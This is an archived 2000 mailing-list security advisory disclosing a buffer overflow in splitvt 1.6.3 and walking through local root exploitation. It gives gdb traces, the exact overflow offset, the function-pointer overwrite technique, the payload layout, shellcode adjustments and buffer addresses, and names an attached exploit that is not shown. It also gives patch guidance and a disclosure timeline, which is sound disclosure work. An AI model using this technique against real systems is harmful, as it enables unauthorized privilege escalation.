OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: Splitvt exploit
From: syzop (syzDDS.NL)
Date: Wed Jun 14 2000 - 14:23:55 CDT


Problem
=======
Splitvt 1.6.3 contains a buffer overflow, if you have installed splitvt suid root (like
Debian/Redhat/etc, btw not slackware) you should upgrade to 1.6.4.

Solution
=======
Debian users:
see http://www.debian.org/security/2000/20000605a

Redhat:
Redhat did respond with a "that package comes from our 'contrib' section, which we do not maintain",
so there isn't a new rpm (yet?), but you could download the source and compile 1.6.4 yourself

Source:
http://www.devolution.com/~slouken/projects/splitvt/

The exploit
=========
The problem is in lock.c in lock_screen:
if (cnt < BUFSIZ-1) *(nextbuf++) = c;
This looks ok, but cnt is never increased :).
nextbuf is set to the buffer where the data should be stored,
1st time it's entered1 (password input), 2nd time it's entered2 (again password to verify), and:
static char entered1[BUFSIZ], entered2[BUFSIZ];
BUFSIZ = 8192.
Ok, let's see what gets overwritten... we start splitvt, ctrl+o, x:
Enter password: blah
Re-enter password: xxxxx<around 13.000 of x's (until we crash)>

Program received signal SIGSEGV, Segmentation fault.
0x400b5786 in getc ()
(gdb) backtrace
#0 0x400b5786 in getc ()
#1 0x804e028 in event_getc (X_event=0xbfffdb0c) at vtmouse.c:194
#2 0x8049d8c in main (argc=1, argv=0xbffffc14) at splitvt.c:387
#3 0x400847e2 in ()

Don't pay too much attention to the point of the crash,
the only thing we now know is we can't overwrite the return address (or not enough),
that's very logical with a function which is called for every single character.
The backtrace doesn't seem to be interessting, possibly we have overwritten some important var or something :).
We must search for another way to jump to our exploitcode...
Let's see how entered2 and the memory after it looks like:
0x805c940 <entered2>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805c950 <entered2+16>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805c960 <entered2+32>: 0x78787878 0x78787878 0x78787878 0x78787878
-- snip --
0x805e930 <entered2+8176>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805e940 <marked>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805e950 <on+8>: 0x78787878 0x78787878 0x78787878 0x78787878
etc etc, until:
0x805fa00 <next+128>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805fa10 <next+144>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805fa20 <tty_mode+4>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805fa30 <curwin>: 0x78787878 0x78787878 0x78787878 0x78787878
0x805fa40 <physical+12>: 0x78787878 0x40141a78 0x40141b00 0x0805fa58

after further investigation the following vars are overwritten:
marked, oldattr, on, selbuf, master_fd, next, tty_mode, curwin, physical

Let's see...
cut-paste.c:14:static int marked, oldattr;
cut-paste.c:24:int *oldattr;
cut-paste.c:215:static char selbuf[4096];
misc.c:128:int master_fd;
vtmouse.c:163: static char prefix[8], *next;
misc.c:426:struct termio tty_mode; /* Save tty mode here */
vt100.c:31:window *curwin;
vt100.c:34:struct physical physical;

Only the last two seem interessting:
typedef struct {
        position cursor; /* The current position of cursor */
        int rows; /* The number of rows in window */
        int cols; /* The number of cols in window */
        int row_offset; /* The physical offset of upper edge */
        int scr_upper; /* Upper limit of scroll region */
        int scr_lower; /* Lower limit of scroll region */
        void (*process_char)(); /* Next output processing function */
        enum keystate key_state; /* For vt100 keypad */
        unsigned char charset[NCHARSETS]; /* Current character set */
        unsigned char textattr; /* Current text attributes */
        int esc_param[MAX_PARAMS], *cur_param; /* Escape parameters */
        int param_idx; /* Current index into esc_param */
        int **videomem; /* Storage for the virtual screen */
        int *tabstops; /* Tabstops in the columns */
        position saved_cursor; /* Saved cursor position */
        unsigned char saved_textattr; /* Saved text attributes */
        } window;

struct physical {
        window *subwins[2]; /* The smaller, split sub-windows */
        int rows; /* The number of rows on the screen */
        int cols; /* The number of cols on the screen */
};

Hey, that looks nice! curwin->process_char... 'Next output processing function'.
All we have to do is create our own window struct, put the address of our-window-struct
into *curwin and put a pointer in our-window-structure.process_char to the exploit code.
So:
- Program reads curwin
- Program reads process_char of our-window-struct
- Program executes the function.

Let's first see how many characters we exactly need for our overflow, so we aren't going
to overflow unneccesary characters (we don't want to segfault :P).
0x0805fa50 (curwin) - 0x0805c960 (buffer2) = 0x30f0 (12.528)
Nice, so we want curwin to point to the begin of buffer2, 0x0805c960, let's test:
(sleep 45; echo blaaaaaaaaa)
ctrl+o, x, 'enter password' bla,
'enter password again', [0x40](100x) + [0x60 0xc9 0x05 0x08](12.428x).
Program received signal SIGSEGV, Segmentation fault.
0x40404040 in ?? ()
(gdb)
Wow :))

Our exploit will look like:
<window-struct><NOPs><shellcode><pointers-to-window-struct>

I coded the exploit in c, using standard shellcode, then put the exploit output in a file,
ftp'd it to my windows (nobody is perfect :P) box and copy&pasted it using putty.
But every time I tried to paste the 1st line I got 'Program exited normally.',
so there was a special character in the exploit somewhere, after tracing I found out it was 0xFF.
Great, now I've to create my own shellcode :|...

There are 3 0xFF's... after disassembling we see this is because of the call -0x24 back,
the shellcode does a jmp +0x1f and a call -0x24 to find out where the string /bin/sh is located.
This isn't necessary since we know the exact location of the '/bin/sh' string.
After a little change and removed the call, we try again...
Wow we got a shell, but after a 'whoami' we aren't happy anymore.. no root, mmmm.
Ofcourse, we have to do a setuid(0) first...

After finding out how to do a setuid(0) in assembly language and again
coding shellcode we have a new exploit...
sh-2.02# root
             sh-2.02# uid=0(root) gid=1000(syzop) egid=0(root) groups=1000(syzop)
                        sh-2.02#
The terminal is screwed up (just a 'reset' and it's ok), however we got root!

Now test it at the debian binary splitvt (latest version, 1.6.3-4).
First we have to find out the address of the buffer again,
let's see how we could do this...
--[lock.c:50]
                                        if (strcmp(entered1, entered2) == 0) {
                                                sprintf(message,
                                "Screen locked by %s. Enter password: ",

--
Nice :).
ROOTP166:/# gdb splitvt
GNU gdb 4.17.m68k.objc.threads.hwwp.fpu.gnat
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-pc-linux-gnu"...
(no debugging symbols found)...
(gdb) break strcmp
Breakpoint 1 at 0x8048fe4
(gdb) ignore 1 25
Will ignore next 25 crossings of breakpoint 1.
(gdb) run
splitvt is started.. ctrl+x, o, la, li, la, li, la, li etc.. ah, in the end:
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x40080e14 in strcmp ()
(gdb) disassemble strcmp
Dump of assembler code for function strcmp:
0x40080e10 <strcmp>:    pushl  %ebp
0x40080e11 <strcmp+1>:  movl   %esp,%ebp
0x40080e13 <strcmp+3>:  pushl  %esi
0x40080e14 <strcmp+4>:  movl   0x8(%ebp),%esi
0x40080e17 <strcmp+7>:  movl   0xc(%ebp),%edx
0x40080e1a <strcmp+10>: leal   0x0(%esi),%esi
(gdb) break *0x40080e17
Breakpoint 2 at 0x40080e17
(gdb) c
Continuing.

Breakpoint 2, 0x40080e17 in strcmp () (gdb) info register esi esi: 0x80572e4 134574820

So entered2 is at 0x80572e4.

Working exploit for Debian attached (you have to change it for redhat).

History ====== [01-06] Discovered [02-05] Working exploit [03-06] Author, Debian and Redhat contacted [04-06] Patched [05-06] New debian packages available and published at site. [14-06] Mail to bugtraq

Exploit info ========= You have to paste the stuff exactly, so using your mouse in (normal) console Linux to copy&paste won't work for several reasons, I've used a windows box with putty/CRT.

Cya

Syz.


  • application/x-unknown-content-type-cfile attachment: splitexp.c